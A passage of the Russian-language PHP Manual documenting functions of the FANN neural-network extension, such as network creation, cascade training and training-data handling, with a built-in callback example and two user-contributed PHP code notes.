  • fann_set_cascade_activation_steepnesses — Устанавливает массив крутизны включения кандидатов в каскад
  • fann_set_cascade_candidate_change_fraction — Устанавливает долю каскадного изменения кандидата
  • fann_set_cascade_candidate_limit — Устанавливает лимит кандидатов
  • fann_set_cascade_candidate_stagnation_epochs — Устанавливает количество каскадных периодов застоя кандидатов
  • fann_set_cascade_max_cand_epochs — Устанавливает наибольший период кандидата
  • fann_set_cascade_max_out_epochs — Устанавливает максимальное количество эпох
  • fann_set_cascade_min_cand_epochs — Устанавливает наименьший период кандидата
  • fann_set_cascade_min_out_epochs — Устанавливает минимальные эпохи выходных данных
  • fann_set_cascade_num_candidate_groups — Устанавливает количество групп кандидатов
  • fann_set_cascade_output_change_fraction — Устанавливает долю изменения каскадных выходных данных
  • fann_set_cascade_output_stagnation_epochs — Устанавливает количество периодов стагнации каскадного вывода
  • fann_set_cascade_weight_multiplier — Устанавливает множитель веса
  • fann_set_error_log — Устанавливает, где регистрируются ошибки
  • fann_set_input_scaling_params — Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения
  • fann_set_learning_momentum — Устанавливает импульс обучения
  • fann_set_learning_rate — Устанавливает скорость обучения
  • fann_set_output_scaling_params — Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения
  • fann_set_quickprop_decay — Устанавливает коэффициент затухания quickprop
  • fann_set_quickprop_mu — Устанавливает МЮ-фактор quickprop
  • fann_set_rprop_decrease_factor — Устанавливает коэффициент уменьшения, используемый во время обучения RPROP
  • fann_set_rprop_delta_max — Устанавливает максимальный размер шага
  • fann_set_rprop_delta_min — Устанавливает минимальный размер шага
  • fann_set_rprop_delta_zero — Устанавливает начальный размер шага
  • fann_set_rprop_increase_factor — Устанавливает коэффициент увеличения, используемый во время обучения Rprop
  • fann_set_sarprop_step_error_shift — Устанавливает сдвиг ошибки шага sarprop
  • fann_set_sarprop_step_error_threshold_factor — Устанавливает пороговый коэффициент ошибки шага sarprop
  • fann_set_sarprop_temperature — Устанавливает температуру sarprop
  • fann_set_sarprop_weight_decay_shift — Устанавливает смещение затухания sarprop
  • fann_set_scaling_params — Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения
  • fann_set_train_error_function — Устанавливает функцию ошибки, используемую во время тренировки
  • fann_set_train_stop_function — Устанавливает функцию остановки, используемую во время тренировки
  • fann_set_training_algorithm — Устанавливает алгоритм обучения
  • fann_set_weight_array — Создание связей в сети
  • fann_set_weight — Создание связи в сети
  • fann_shuffle_train_data — Перемешивает обучающие данные в случайном порядке
  • fann_subset_train_data — Получить копию подмножества из обучающих данных
  • fann_test_data — Тестирование набора обучающих данных и вычисление MSE для него
  • fann_test — Тестирование с набором входных данных и желаемым результатом
  • fann_train_epoch — Обучение в течение одной эпохи
  • fann_train_on_data — Обучение на всем объёме данных на временном интервале
  • fann_train_on_file — Обучение на полном наборе данных, прочитанном из файла, на временном интервале
  • fann_train — Провести одну итерацию обучения с набором входных данных и желаемым результатом

User Contributed Notes

There are no user contributed notes for this page.


Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2

  • « Функции Fann
  • fann_cascadetrain_on_file »
  • PHP Manual
  • Функции Fann
  • Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2

fann_cascadetrain_on_data

(PECL fann >= 1.0.0)

fann_cascadetrain_on_data — Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2

Описание

fann_cascadetrain_on_data(
resource $ann,
resource $data,
int $max_neurons,
int $neurons_between_reports,
float $desired_error
): bool

Фракция каскадного вывода является числом от 0 до 1 и определяет, насколько сильно должно измениться значение fann_get_MSE() в fann_get_cascade_output_stagnation_epochs() во время обучения выходных соединений, для того, чтобы обучение не стагнировало. Если обучение стагнировало, то обучение выходных соединений будет завершено и будут подготовлены новые кандидаты.

Это обучение использует параметры, установленные fann_set_cascade_..., но также оно использует другой обучающий алгоритм в качестве внутреннего обучающего алгоритма. Этот алгоритм может быть задан как FANN_TRAIN_RPROP или FANN_TRAIN_QUICKPROP с помощью fann_set_training_algorithm(), и параметры, заданные для этих обучающих алгоритмов, также будут учитываться в каскадном обучении.

Список параметров

ann

Ресурс (resource) нейронной сети.

data

Ресурс (resource) обучающих данных нейронной сети.

max_neurons

Максимальное количество нейронов для добавления в сеть.

neurons_between_reports

Печать отчёта о статусе будет происходить через заданное в этом параметре число нейронов. Если задан ноль, то печать происходить не будет.

desired_error

Желаемая fann_get_MSE() или fann_get_bit_fail(), в зависимости от выбранной с помощью fann_set_train_stop_function() остановочной функции.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_cascadetrain_on_file() - Обучение на данных прочтённых из файла с помощью алгоритма Cascade2

User Contributed Notes

There are no user contributed notes for this page.


Обучение на данных прочтённых из файла с помощью алгоритма Cascade2

  • « fann_cascadetrain_on_data
  • fann_clear_scaling_params »
  • PHP Manual
  • Функции Fann
  • Обучение на данных прочтённых из файла с помощью алгоритма Cascade2

fann_cascadetrain_on_file

(PECL fann >= 1.0.0)

fann_cascadetrain_on_file — Обучение на данных прочтённых из файла с помощью алгоритма Cascade2

Описание

fann_cascadetrain_on_file(
resource $ann,
string $filename,
int $max_neurons,
int $neurons_between_reports,
float $desired_error
): bool

Делает то же, что и fann_cascadetrain_on_data(), но читает данные напрямую из файла.

Список параметров

ann

Ресурс (resource) нейронной сети.

filename

Файл с данными.

max_neurons

Максимальное количество нейронов в сети.

neurons_between_reports

Количество нейронов между выводом отчётов о состоянии. Если задать 0, то отчёты печататься не будут.

desired_error

Выбранные fann_get_MSE() или fann_get_bit_fail(), в зависимости от выбранной с помощью fann_set_train_stop_function() функции остановки.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_cascadetrain_on_data() - Обучение на всем наборе данных в течение определённого периода времени с помощью алгоритма Cascade2

User Contributed Notes

There are no user contributed notes for this page.


Очистка параметров масштабирования

  • « fann_cascadetrain_on_file
  • fann_copy »
  • PHP Manual
  • Функции Fann
  • Очистка параметров масштабирования

fann_clear_scaling_params

(PECL fann >= 1.0.0)

fann_clear_scaling_params — Очистка параметров масштабирования

Описание

fann_clear_scaling_params(resource $ann): bool

Очистка параметров масштабирования.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт копию структуры fann

  • « fann_clear_scaling_params
  • fann_create_from_file »
  • PHP Manual
  • Функции Fann
  • Создаёт копию структуры fann

fann_copy

(PECL fann >= 1.0.0)

fann_copy — Создаёт копию структуры fann

Описание

fann_copy(resource $ann): resource

Создаёт копию структуры fann.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

В случае успешного выполнения возвращает копию ресурса нейронной цепи или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_test() - Тестирование с набором входных данных и желаемым результатом

User Contributed Notes

There are no user contributed notes for this page.


Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла

  • « fann_copy
  • fann_create_shortcut_array »
  • PHP Manual
  • Функции Fann
  • Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла

fann_create_from_file

(PECL fann >= 1.0.0)

fann_create_from_file — Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла

Описание

fann_create_from_file(string $configuration_file): resource

Создаёт нейронную сеть с обратным распространением ошибки из конфигурационного файла, созданного ранее с помощью fann_save().

Список параметров

configuration_file

Конфигурационный файл.

Возвращаемые значения

Возвращает ресурс (resource) нейронной сети в случае успешного выполнения, или false в случае возникновения ошибки.

Смотрите также

  • fann_save() - Сохраняет всю сеть в файл конфигурации

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

  • « fann_create_from_file
  • fann_create_shortcut »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

fann_create_shortcut_array

(PECL fann >= 1.0.0)

fann_create_shortcut_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

Описание

fann_create_shortcut_array(int $num_layers, array $layers): resource

Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет соединения быстрого доступа с использованием массива размеров слоёв.

Список параметров

num_layers

Общее количество слоёв, включая входной и выходной слой.

layers

Массив размеров слоёв.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_shortcut() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
  • fann_create_sparse() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_standard() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

  • « fann_create_shortcut_array
  • fann_create_sparse_array »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

fann_create_shortcut

(PECL fann >= 1.0.0)

fann_create_shortcut — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

Описание

fann_create_shortcut(
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет соединения быстрого доступа.

Соединения быстрого доступа - это соединения, пропускающие слои. Полностью подключённая сеть с соединениями быстрого доступа - это сеть, в которой все нейроны связаны со всеми нейронами на более поздних уровнях. Включая прямые подключения от входного слоя к выходному слою.

Список параметров

num_layers

Общее количество слоёв, включая входной и выходной слой.

num_neurons1

Количество нейронов в первом слое.

num_neurons2

Количество нейронов во втором слое.

num_neuronsN

Количество нейронов в последующих слоях.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_shortcut_array() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения
  • fann_create_sparse() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_standard() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв

  • « fann_create_shortcut
  • fann_create_sparse »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв

fann_create_sparse_array

(PECL fann >= 1.0.0)

fann_create_sparse_array — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв

Описание

fann_create_sparse_array(float $connection_rate, int $num_layers, array $layers): resource

Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв.

Список параметров

connection_rate

Скорость соединения определяет, сколько соединений будет в сети. Если скорость соединения установлена на 1, сеть будет полностью подключена, но если она установлена на 0,5, будет установлена только половина соединений. Скорость соединения 1 даст тот же результат, что и fann_create_standard().

num_layers

Общее количество слоёв, включая входной и выходной слой.

layers

Массив размеров слоёв.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_sparse() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_standard() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
  • fann_create_shortcut() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена

  • « fann_create_sparse_array
  • fann_create_standard_array »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена

fann_create_sparse

(PECL fann >= 1.0.0)

fann_create_sparse — Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена

Описание

fann_create_sparse(
float $connection_rate,
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена.

Список параметров

connection_rate

Скорость соединения определяет, сколько соединений будет в сети. Если скорость соединения установлена на 1, сеть будет полностью подключена, но если она установлена на 0,5, будет установлена только половина соединений. Скорость соединения 1 даст тот же результат, что и fann_create_standard().

num_layers

Общее количество слоёв, включая входной и выходной слой.

num_neurons1

Количество нейронов в первом слое.

num_neurons2

Количество нейронов во втором слое.

num_neuronsN

Количество нейронов в других слоях.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_sparse_array() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена, используя массив размеров слоёв
  • fann_create_standard() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
  • fann_create_shortcut() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв

  • « fann_create_sparse
  • fann_create_standard »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв

fann_create_standard_array

(PECL fann >= 1.0.0)

fann_create_standard_array — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв

Описание

fann_create_standard_array(int $num_layers, array $layers): resource

Создаёт стандартную полностью подключённую нейронную сеть обратного распространения.

В каждом слое будет нейрон смещения (кроме выходного слоя), и этот нейрон смещения будет связан со всеми нейронами в следующем слое. При работе в сети узлы смещения всегда излучают 1.

Чтобы уничтожить нейронную сеть, используйте функцию fann_destroy().

Список параметров

num_layers

Общее количество слоёв, включая входной и выходной слой.

layers

Массив размеров слоёв.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_standard() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения
  • fann_create_sparse() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_shortcut() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стандартную полностью подключённую нейронную сеть обратного распространения

  • « fann_create_standard_array
  • fann_create_train_from_callback »
  • PHP Manual
  • Функции Fann
  • Создаёт стандартную полностью подключённую нейронную сеть обратного распространения

fann_create_standard

(PECL fann >= 1.0.0)

fann_create_standard — Создаёт стандартную полностью подключённую нейронную сеть обратного распространения

Описание

fann_create_standard(
int $num_layers,
int $num_neurons1,
int $num_neurons2,
int ...$num_neuronsN
): resource

Создаёт стандартную полностью подключённую нейронную сеть обратного распространения.

В каждом слое будет нейрон смещения (кроме выходного слоя), и этот нейрон смещения будет связан со всеми нейронами в следующем слое. При работе в сети узлы смещения всегда выдаёт 1.

Чтобы уничтожить нейронную сеть, используйте функцию fann_destroy().

Список параметров

num_layers

Общее количество слоёв, включая входной и выходной слой.

num_neurons1

Количество нейронов в первом слое.

num_neurons2

Количество нейронов во втором слое.

num_neuronsN

Количество нейронов в других слоях.

Возвращаемые значения

Возвращает ресурс нейронной сети в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fann_create_standard_array() - Создаёт стандартную полностью подключённую нейронную сеть обратного распространения, используя массив размеров слоёв
  • fann_create_sparse() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена
  • fann_create_shortcut() - Создаёт стандартную нейронную сеть обратного распространения, которая не полностью подключена и имеет быстрые соединения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт структуру данных обучения из предоставленной пользователем функции

  • « fann_create_standard
  • fann_create_train »
  • PHP Manual
  • Функции Fann
  • Создаёт структуру данных обучения из предоставленной пользователем функции

fann_create_train_from_callback

(PECL fann >= 1.0.0)

fann_create_train_from_callback — Создаёт структуру данных обучения из предоставленной пользователем функции

Описание

fann_create_train_from_callback(
int $num_data,
int $num_input,
int $num_output,
callable $user_function
): resource

Создаёт структуру данных обучения из предоставленной пользователем функции. Поскольку обучающие данные являются пронумерованными (данные 1, данные 2...), пользователь должен написать функцию, которая получает номер набора обучающих данных (вход, выход) и возвращает набор.

Список параметров

num_data

Количество тренировочных данных

num_input

Количество входов на тренировочных данных

num_output

Количество выходов на тренировочных данных

user_function

Функция, предоставленная пользователем со следующими параметрами:

  • num - Количество обучающих данных
  • num_input - Количество входов на тренировочных данных
  • num_output - Количество выходов на тренировочных данных

Функция должна возвращать ассоциативный массив с ключами input и output и двумя значениями массива input и output.

Возвращаемые значения

Возвращает ресурс (resource) обучающих данных, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования fann_create_train_from_callback()

<?php
function create_train_callback($num_data, $num_input, $num_output) {
return array(
"input" => array_fill(0, $num_input, 1),
"output" => array_fill(0, $num_output, 1),
);
}

$num_data = 3;
$num_input = 2;
$num_output = 1;
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");
if ($train_data) {
// Сделай что-нибудь с $train_data
}
?>

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_read_train_from_file() - Читает файл, в котором хранятся данные обучения
  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_destroy_train() - Уничтожает тренировочные данные
  • fann_save_train() - Сохраняет структуру обучения в файл

User Contributed Notes

geekgirljoy at gmail dot com 21-Oct-2016 05:34
This code can be used to read training data from MySQL rather than a text file.

<?php

// MySQL for This Example:
/*
CREATE TABLE `TrainingSets` (
  `ID` int(11) NOT NULL,
  `Name` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `TrainingData` text COLLATE utf8mb4_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

ALTER TABLE `TrainingSets` ADD PRIMARY KEY (`ID`);

INSERT INTO `TrainingSets` (`ID`, `Name`, `TrainingData`) VALUES(1, 'XOR', '-1 -1\n-1\n-1 1\n1\n1 -1\n1\n1 1\n-1');

ALTER TABLE `TrainingSets` MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
*/

// This function calls pulls the TrainingData from MySQL
function get_training_data_from_db($id) {
    $table_name = "TrainingSets";
    $field = "TrainingData";
    $connection=mysqli_connect("host","username","password","database"); // change to your DB credentials
    $result=mysqli_query($connection,"SELECT $field FROM $table_name");
    $data=mysqli_fetch_assoc($result);
    mysqli_close($connection);

    return $data[$field];
}

// This function prepares the newline delimited data to be handed off to FANN
/*
Example of "newline delimited data" (like XOR in a Plain Text File) stored in MySQL:
-1 -1
-1
-1 1
1
1 1
-1
1 -1
1
*/
function prepare_data_from_db($training_data) {
    $training_data = explode( "\n", $training_data ); // convert training data rows to array
    $num_data = count($training_data);

    // Sift the data and split inputs and outputs
    for($i=0;$i<$num_data;$i++) {
      if($i % 2) { // $training_data[$i] is Output
       $training_data['outputs'][] = explode( " ", $training_data[$i]);
      }else{ // $training_data[$i] is Input
       $training_data['inputs'][] = explode( " ", $training_data[$i]);
      }
    }
    // remove the unsifted data
    foreach ($training_data as $key => $value) {
        if (is_numeric($key)) {
            unset($training_data[$key]);
        }
    }
    return $training_data; // returned the prepaired associative array
}

// This function hands the prepared data over to FANN
function create_train_callback($num_data, $num_input, $num_output) {
    global $training_data;
    global $current_dataset;

    $dataset = array("input" => $training_data['inputs'][$current_dataset],
                    "output" => $training_data['outputs'][$current_dataset]);
    $current_dataset++;

    return $dataset;
}

// Initialize the program variables
$record_id = 1; // the 'ID' for the training data in MySQL
$current_dataset = 0;
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$training_data = get_training_data_from_db($record_id); // Get the Training Data from MySQL
$training_data = prepare_data_from_db($training_data); // Prepare the data
$num_data = count($training_data["input"]); // How many sets are there?

// Hand the data over to FANN
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");

// Test for $train_data
if ($train_data) {

    // Create $ann
    $ann = fann_create_standard($num_layers, $num_input, $num_neurons, $num_output);

    // Test for $ann
    if ($ann) {
        fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
        fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

        // Train XOR ANN with training data obtainied from MySQL
        if (fann_train_on_data($ann, $train_data, $max_epochs, $epochs_between_reports, $desired_error)){
           print('XOR trained.<br>' . PHP_EOL);

           // Test $ann
           $input = array(-1, 1);
           $calc_out = fann_run($ann, $input);
           printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);

           // destore $ann
           fann_destroy($ann);
        }
    }
}
?>


Создаёт пустую структуру данных для обучения

  • « fann_create_train_from_callback
  • fann_descale_input »
  • PHP Manual
  • Функции Fann
  • Создаёт пустую структуру данных для обучения

fann_create_train

(PECL fann >= 1.0.0)

fann_create_train — Создаёт пустую структуру данных для обучения

Описание

fann_create_train(int $num_data, int $num_input, int $num_output): resource

Создаёт пустую структуру данных для обучения.

Список параметров

num_data

Количество тренировочных данных

num_input

Количество входов на тренировочных данных

num_output

Количество выходов на тренировочных данных

Возвращаемые значения

Возвращает ресурс (resource) обучающих данных, или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_read_train_from_file() - Читает файл, в котором хранятся данные обучения
  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_destroy_train() - Уничтожает тренировочные данные
  • fann_save_train() - Сохраняет структуру обучения в файл

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Nov-2018 07:13
The result of fann_create_train() is a "blank" or "empty" training data resource which can be saved to a file using fann_save_train().

<?php

$num_data = 4;
$num_input = 2;
$num_output = 1;

// Create an empty 'template' training resource in memory
$empty_training_resource = fann_create_train ($num_data , $num_input , $num_output);

// Save template.data
fann_save_train($empty_training_resource, 'template.data');

?>

File Saved (template.data):
4 2 1
0 0
0
0 0
0
0 0
0
0 0
0


Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров

  • « fann_create_train
  • fann_descale_output »
  • PHP Manual
  • Функции Fann
  • Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров

fann_descale_input

(PECL fann >= 1.0.0)

fann_descale_input — Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров

Описание

fann_descale_input(resource $ann, array $input_vector): bool

Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

input_vector

Входной вектор, который будет масштабирован

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_input() - Масштабирует данные во входном векторе перед подачей их в ann на основе ранее рассчитанных параметров
  • fann_descale_output() - Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров

  • « fann_descale_input
  • fann_descale_train »
  • PHP Manual
  • Функции Fann
  • Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров

fann_descale_output

(PECL fann >= 1.0.0)

fann_descale_output — Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров

Описание

fann_descale_output(resource $ann, array $output_vector): bool

Масштабирует данные в выходном векторе после получения их ина основе ранее рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

output_vector

Выходной вектор, который будет масштабирован

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_output() - Масштабирует данные в выходном векторе перед их передачей в ann на основе ранее рассчитанных параметров
  • fann_descale_input() - Масштабирует данные во входном векторе после получения их на основе ранее рассчитанных параметров

User Contributed Notes

There are no user contributed notes for this page.


Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров

  • « fann_descale_output
  • fann_destroy_train »
  • PHP Manual
  • Функции Fann
  • Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров

fann_descale_train

(PECL fann >= 1.0.0)

fann_descale_train — Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров

Описание

fann_descale_train(resource $ann, resource $train_data): bool

Масштабирование входных и выходных данных на основе предварительно рассчитанных параметров.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_scale_train() - Масштабирует входные и выходные данные на основе ранее рассчитанных параметров
  • fann_set_scaling_params() - Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает тренировочные данные

  • « fann_descale_train
  • fann_destroy »
  • PHP Manual
  • Функции Fann
  • Уничтожает тренировочные данные

fann_destroy_train

(PECL fann >= 1.0.0)

fann_destroy_train — Уничтожает тренировочные данные

Описание

fann_destroy_train(resource $train_data): bool

Уничтожает тренировочные данные

Список параметров

train_data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает всю сеть и правильно освобождает всю связанную память

  • « fann_destroy_train
  • fann_duplicate_train_data »
  • PHP Manual
  • Функции Fann
  • Уничтожает всю сеть и правильно освобождает всю связанную память

fann_destroy

(PECL fann >= 1.0.0)

fann_destroy — Уничтожает всю сеть и правильно освобождает всю связанную память

Описание

fann_destroy(resource $ann): bool

Уничтожает всю сеть и правильно освобождает всю связанную память.

Список параметров

ann

Ресурс (resource) нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает точную копию тренировочных данных

  • « fann_destroy
  • fann_get_activation_function »
  • PHP Manual
  • Функции Fann
  • Возвращает точную копию тренировочных данных

fann_duplicate_train_data

(PECL fann >= 1.0.0)

fann_duplicate_train_data — Возвращает точную копию тренировочных данных

Описание

fann_duplicate_train_data(resource $data): resource

Возвращает ресурс (resource) с точной копией тренировочных данных

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает ресурс (resource) обучающих данных, или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает функцию активации

  • « fann_duplicate_train_data
  • fann_get_activation_steepness »
  • PHP Manual
  • Функции Fann
  • Возвращает функцию активации

fann_get_activation_function

(PECL fann >= 1.0.0)

fann_get_activation_function — Возвращает функцию активации

Описание

fann_get_activation_function(resource $ann, int $layer, int $neuron): int

Получает функцию активации для номера нейрона neuron в слое номер layer, считая входной слой как слой 0.

Невозможно получить функции активации для нейронов во входном слое.

Возвращаемое значение является одной из констант функций активации.

Список параметров

ann

Ресурс (resource) нейронной сети.

layer

Номер слоя.

neuron

Номер нейрона.

Возвращаемые значения

Константа функций обучения или -1, если нейрон не определён в нейронной сети или false в случае возникновения ошибки.

Смотрите также

  • fann_set_activation_function_layer() - Устанавливает функцию активации для всех нейронов в предоставленном слое
  • fann_set_activation_function_hidden() - Устанавливает функцию активации для всех скрытых слоёв
  • fann_set_activation_function_output() - Устанавливает функцию активации для выходного слоя
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя
  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает крутизну активации для поставляемого нейрона и номера слоя

  • « fann_get_activation_function
  • fann_get_bias_array »
  • PHP Manual
  • Функции Fann
  • Возвращает крутизну активации для поставляемого нейрона и номера слоя

fann_get_activation_steepness

(PECL fann >= 1.0.0)

fann_get_activation_steepness — Возвращает крутизну активации для поставляемого нейрона и номера слоя

Описание

fann_get_activation_steepness(resource $ann, int $layer, int $neuron): float

Получает крутизну активации для нейрона с номером neuron в слое с номером layer, считая входной слой, как слой 0.

Невозможно получить крутизну активации для нейронов во входном слое.

Крутизна функции активации говорит о том, как быстро функция активации переходит от минимума к максимуму. Высокое значение для функции активации также даст более агрессивное обучение.

При обучении нейронных сетей, где выходные значения должны быть на предельных значениях (обычно 0 и 1, в зависимости от функции активации), может использоваться крутая функция активации (например, 1,0).

Крутизна активации по умолчанию - 0,5.

Список параметров

ann

Ресурс (resource) нейронной сети.

layer

Номер слоя

neuron

Номер нейрона

Возвращаемые значения

Крутизна активации для нейрона или -1, если нейрон не определён в нейронной сети, или false в случае возникновения ошибки.

Смотрите также

  • fann_set_activation_function() - Устанавливает функцию активации для указанного нейрона и слоя
  • fann_set_activation_steepness_layer() - Устанавливает крутизну активации для всех нейронов в указанном номере слоя
  • fann_set_activation_steepness_hidden() - Устанавливает крутизну крутизны активации для всех нейронов во всех скрытых слоях
  • fann_set_activation_steepness_output() - Устанавливает крутизну активации в выходном слое
  • fann_set_activation_steepness() - Устанавливает крутизну активации для указанного нейрона и номера слоя

User Contributed Notes

There are no user contributed notes for this page.


Получает количество смещений в каждом слое в сети

  • « fann_get_activation_steepness
  • fann_get_bit_fail_limit »
  • PHP Manual
  • Функции Fann
  • Получает количество смещений в каждом слое в сети

